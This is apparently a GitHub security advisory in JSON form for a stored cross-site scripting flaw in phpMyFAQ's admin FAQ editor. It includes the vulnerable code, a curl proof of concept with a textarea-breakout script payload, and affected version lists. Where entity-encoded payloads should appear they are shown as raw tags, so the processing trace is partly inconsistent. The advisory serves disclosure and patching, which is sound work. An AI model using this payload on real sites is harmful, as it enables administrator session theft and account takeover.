{"id":"GHSA-pgwp-vc7q-cvj3","summary":"phpMyFAQ has Stored XSS in Admin FAQ Editor via HTML Entity Bypass in Frontend FAQ Submission","details":"### Summary\nA stored cross-site scripting (XSS) vulnerability in phpMyFAQ allows any unauthenticated user (or low-privileged registered user) to inject arbitrary JavaScript that executes in an administrator's browser when they review or edit a user-submitted FAQ entry. This leads to admin account takeover via session theft. The vulnerability exists because `html_entity_decode()` converts HTML entities into executable HTML after `strip_tags()` has already passed them through, and the admin template renders the content with Twig's `|raw` filter without any output sanitization.\n\n### Details\n**Vulnerable file:** `phpmyfaq/src/phpMyFAQ/Controller/Frontend/Api/FaqController.php` (lines 109-115)\n\n```php\n$answer = Filter::filterVar($data-\u003eanswer, FILTER_SANITIZE_SPECIAL_CHARS);\nif ($this-\u003econfiguration-\u003eget(item: 'main.enableWysiwygEditorFrontend')) {\n    $answer = trim(html_entity_decode((string) $answer));\n}\n```\n\n**Root cause:**\n\n`Filter::filterVar()` with `FILTER_SANITIZE_SPECIAL_CHARS` internally calls `filterSanitizeString()` which applies `strip_tags()` to remove HTML tags. However, `strip_tags()` only removes **actual HTML tag syntax** (e.g., `\u003cscript\u003e`) — it does NOT remove **HTML entities** (e.g., `<script>`).\n\nWhen `enableWysiwygEditorFrontend` is `true`, `html_entity_decode()` is subsequently called, which converts the surviving HTML entities into real, executable HTML. No server-side HTML sanitizer (such as the Symfony HtmlSanitizer already used elsewhere in the codebase) is applied before storing the content in the database.\n\n**Vulnerable sink (admin template):** `phpmyfaq/assets/templates/admin/content/faq.editor.twig` (line 127)\n\n```twig\n\u003ctextarea id=\"editor\" name=\"answer\" class=\"form-control\" rows=\"7\"\n          placeholder=\"{{ 'msgAnswer' | translate }}\"\n\u003e{{ faqData['content'] | raw }}\u003c/textarea\u003e\n```\n\nThe admin FAQ editor controller (`Administration/FaqController.php`) loads the FAQ content directly from the database and passes it to the template without sanitization:\n\n```php\n$this-\u003efaq-\u003egetFaq($faqId, null, true);\n$faqData = $this-\u003efaq-\u003efaqRecord; // Raw content from DB\n```\n\n**Note:** The public-facing FAQ view IS properly sanitized via `FaqHelper::cleanUpContent()` which uses Symfony HtmlSanitizer. Only the admin edit view is vulnerable.\n\n\n### PoC\n**Prerequisites:**\n- `main.enableWysiwygEditorFrontend` = `true` (non-default, but commonly enabled for rich-text user FAQ contributions)\n- `records.allowNewFaqsForGuests` = `true` (DEFAULT value — guests can submit FAQs)\n- At least one FAQ category must exist\n\n**Step 1: Inject XSS payload as unauthenticated guest**\n\n```bash\ncurl -X POST https://TARGET/api/faq/create \\\n  -H 'Content-Type: application/json' \\\n  -d '{\n    \"name\": \"Legitimate User\",\n    \"email\": \"user@example.com\",\n    \"question\": \"How to configure SMTP settings?\",\n    \"answer\": \"</textarea><img src=x onerror=alert(document.domain)><textarea>\",\n    \"lang\": \"en\",\n    \"keywords\": \"smtp email\",\n    \"rubrik\": [\"1\"],\n    \"captcha\": \"\u003cvalid-captcha-or-empty-if-disabled\u003e\"\n  }'\n```\n\nResponse: `{\"success\":\"Thank you for your suggestion!\"}`\n\n**Processing trace:**\n1. Input answer: `</textarea><img src=x onerror=alert(document.domain)><textarea>`\n2. `filterSanitizeString()` → `strip_tags()` finds no actual `\u003ctag\u003e` syntax → string passes through unchanged\n3. `html_entity_decode()` converts entities → `\u003c/textarea\u003e\u003cimg src=x onerror=alert(document.domain)\u003e\u003ctextarea\u003e`\n4. Stored in database as raw executable HTML\n\n**Step 2: Admin triggers XSS by reviewing the submitted FAQ**\n\nWhen an administrator navigates to edit the submitted FAQ entry:\n```\nGET /admin/faq/edit/{faqId}/{lang}\n```\n\nThe admin template renders:\n```html\n\u003ctextarea id=\"editor\" name=\"answer\" class=\"form-control\" rows=\"7\"\n          placeholder=\"Answer\"\n\u003e\u003c/textarea\u003e\u003cimg src=x onerror=alert(document.domain)\u003e\u003ctextarea\u003e\u003c/textarea\u003e\n```\n\nThe `\u003c/textarea\u003e` breaks out of the editor textarea element, and the `\u003cimg onerror=...\u003e` executes JavaScript immediately in the admin's browser context.\n\n\u003cimg width=\"1387\" height=\"562\" alt=\"admin stored xss alert poc\" src=\"https://github.com/user-attachments/assets/98d6a40d-1e21-41dc-8705-102876b9cf8a\" /\u003e\n\u003cimg width=\"1393\" height=\"805\" alt=\"admin stored xss poc\" src=\"https://github.com/user-attachments/assets/7362a324-e779-4157-be4f-9d35fbe25333\" /\u003e\n\n\n**Note:** For logged-in users submitting FAQs, the captcha check is automatically bypassed (`BuiltinCaptcha::checkCaptchaCode()` returns `true` when user is logged in).\n\n\n### Impact\n- **Stored XSS targeting administrators** — every FAQ submission is reviewed by an admin, guaranteeing payload delivery\n- **Admin account takeover** — attacker can steal session cookies, create new admin accounts, or modify system configuration\n- **No special privileges required** — default configuration allows guest FAQ submissions (`records.allowNewFaqsForGuests` = `true`)\n- **Public view is unaffected** — the public FAQ display uses Symfony HtmlSanitizer which strips event handlers; only the admin panel is vulnerable","aliases":["CVE-2026-56736"],"modified":"2026-09-24T19:45:04.984204153Z","published":"2026-09-24T19:28:43Z","database_specific":{"severity":"HIGH","github_reviewed":true,"github_reviewed_at":"2026-09-24T19:28:43Z","nvd_published_at":"2026-09-24T15:17:24Z","cwe_ids":["CWE-79"]},"references":[{"type":"WEB","url":"https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-pgwp-vc7q-cvj3"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-56736"},{"type":"WEB","url":"https://github.com/thorsten/phpMyFAQ/commit/24b68068747ad632398e3b3bab2989e76e43ef82"},{"type":"PACKAGE","url":"https://github.com/thorsten/phpMyFAQ"},{"type":"WEB","url":"https://github.com/thorsten/phpMyFAQ/releases/tag/4.2.0-alpha"}],"affected":[{"package":{"name":"thorsten/phpmyfaq","ecosystem":"Packagist","purl":"pkg:composer/thorsten/phpmyfaq"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.2.0-alpha"}]}],"versions":["2.10.0-alpha","2.8.0","2.8.0-RC","2.8.0-RC2","2.8.0-RC3","2.8.0-RC4","2.8.0-alpha2","2.8.0-alpha3","2.8.0-beta","2.8.0-beta2","2.8.0-beta3","2.8.1","2.8.10","2.8.11","2.8.12","2.8.13","2.8.14","2.8.15","2.8.16","2.8.17","2.8.18","2.8.19","2.8.2","2.8.20","2.8.21","2.8.22","2.8.23","2.8.24","2.8.25","2.8.26","2.8.27","2.8.28","2.8.29","2.8.3","2.8.4","2.8.5","2.8.6","2.8.7","2.8.8","2.8.9","2.9.0","2.9.0-alpha","2.9.0-alpha2","2.9.0-alpha3","2.9.0-alpha4","2.9.0-beta","2.9.0-beta2","2.9.0-rc","2.9.0-rc2","2.9.0-rc3","2.9.0-rc4","2.9.1","2.9.10","2.9.11","2.9.12","2.9.13","2.9.2","2.9.3","2.9.4","2.9.5","2.9.6","2.9.7","2.9.8","2.9.9","3.0.0","3.0.0-RC","3.0.0-RC.2","3.0.0-alpha","3.0.0-alpha.2","3.0.0-alpha.3","3.0.0-alpha.4","3.0.0-beta","3.0.0-beta.2","3.0.0-beta.3","3.0.1","3.0.10","3.0.11","3.0.12","3.0.2","3.0.3","3.0.4","3.0.5","3.0.6","3.0.7","3.0.8","3.0.9","3.1.0","3.1.0-RC","3.1.0-alpha","3.1.0-alpha.2","3.1.0-alpha.3","3.1.0-beta","3.1.1","3.1.10","3.1.11","3.1.12","3.1.13","3.1.14","3.1.15","3.1.16","3.1.17","3.1.18","3.1.2","3.1.3","3.1.4","3.1.5","3.1.6","3.1.7","3.1.8","3.1.9","3.2.0","3.2.0-RC","3.2.0-RC.2","3.2.0-RC.4","3.2.0-alpha","3.2.0-beta","3.2.0-beta.2","3.2.1","3.2.10","3.2.2","3.2.3","3.2.4","3.2.5","3.2.6","3.2.7","3.2.8","3.2.9","4.0.0","4.0.0-RC","4.0.0-RC.2","4.0.0-RC.3","4.0.0-RC.4","4.0.0-RC.5","4.0.0-alpha","4.0.0-alpha.2","4.0.0-alpha.3","4.0.0-alpha.4","4.0.0-beta","4.0.0-beta.2","4.0.1","4.0.10","4.0.11","4.0.12","4.0.13","4.0.14","4.0.15","4.0.16","4.0.18","4.0.19","4.0.2","4.0.3","4.0.4","4.0.5","4.0.6","4.0.7","4.0.8","4.0.9","4.1.0","4.1.0-RC","4.1.0-RC.2","4.1.0-RC.4","4.1.0-RC.5","4.1.0-RC.6","4.1.0-RC.7","4.1.0-alpha","4.1.0-alpha.2","4.1.0-alpha.3","4.1.0-beta","4.1.0-beta.2","4.1.1","4.1.2","4.1.3","4.1.4","4.1.5","4.1.6","4.1.7","4.1.8"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-pgwp-vc7q-cvj3/GHSA-pgwp-vc7q-cvj3.json"}},{"package":{"name":"phpmyfaq/phpmyfaq","ecosystem":"Packagist","purl":"pkg:composer/phpmyfaq/phpmyfaq"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.2.0-alpha"}]}],"versions":["2.10.0-alpha","2.8.0","2.8.0-RC","2.8.0-RC2","2.8.0-RC3","2.8.0-RC4","2.8.0-alpha2","2.8.0-alpha3","2.8.0-beta","2.8.0-beta2","2.8.0-beta3","2.8.1","2.8.10","2.8.11","2.8.12","2.8.13","2.8.14","2.8.15","2.8.16","2.8.17","2.8.18","2.8.19","2.8.2","2.8.20","2.8.21","2.8.22","2.8.23","2.8.24","2.8.25","2.8.26","2.8.27","2.8.28","2.8.29","2.8.3","2.8.4","2.8.5","2.8.6","2.8.7","2.8.8","2.8.9","2.9.0","2.9.0-alpha","2.9.0-alpha2","2.9.0-alpha3","2.9.0-alpha4","2.9.0-beta","2.9.0-beta2","2.9.0-rc","2.9.0-rc2","2.9.0-rc3","2.9.0-rc4","2.9.1","2.9.10","2.9.11","2.9.12","2.9.13","2.9.2","2.9.3","2.9.4","2.9.5","2.9.6","2.9.7","2.9.8","2.9.9","3.0.0","3.0.0-RC","3.0.0-RC.2","3.0.0-alpha","3.0.0-alpha.2","3.0.0-alpha.3","3.0.0-alpha.4","3.0.0-beta","3.0.0-beta.2","3.0.0-beta.3","3.0.1","3.0.10","3.0.11","3.0.12","3.0.2","3.0.3","3.0.4","3.0.5","3.0.6","3.0.7","3.0.8","3.0.9","3.1.0","3.1.0-RC","3.1.0-alpha","3.1.0-alpha.2","3.1.0-alpha.3","3.1.0-beta","3.1.1","3.1.10","3.1.11","3.1.12","3.1.13","3.1.14","3.1.15","3.1.16","3.1.17","3.1.18","3.1.2","3.1.3","3.1.4","3.1.5","3.1.6","3.1.7","3.1.8","3.1.9","3.2.0","3.2.0-RC","3.2.0-RC.2","3.2.0-RC.4","3.2.0-alpha","3.2.0-beta","3.2.0-beta.2","3.2.1","3.2.10","3.2.2","3.2.3","3.2.4","3.2.5","3.2.6","3.2.7","3.2.8","3.2.9","4.0.0","4.0.0-RC","4.0.0-RC.2","4.0.0-RC.3","4.0.0-RC.4","4.0.0-RC.5","4.0.0-alpha","4.0.0-alpha.2","4.0.0-alpha.3","4.0.0-alpha.4","4.0.0-beta","4.0.0-beta.2","4.0.1","4.0.10","4.0.11","4.0.12","4.0.13","4.0.14","4.0.15","4.0.16","4.0.18","4.0.19","4.0.2","4.0.3","4.0.4","4.0.5","4.0.6","4.0.7","4.0.8","4.0.9","4.1.0","4.1.0-RC","4.1.0-RC.2","4.1.0-RC.4","4.1.0-RC.5","4.1.0-RC.6","4.1.0-RC.7","4.1.0-alpha","4.1.0-alpha.2","4.1.0-alpha.3","4.1.0-beta","4.1.0-beta.2","4.1.1","4.1.2","4.1.3","4.1.4","4.1.5","4.1.6","4.1.7","4.1.8"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-pgwp-vc7q-cvj3/GHSA-pgwp-vc7q-cvj3.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N"}]}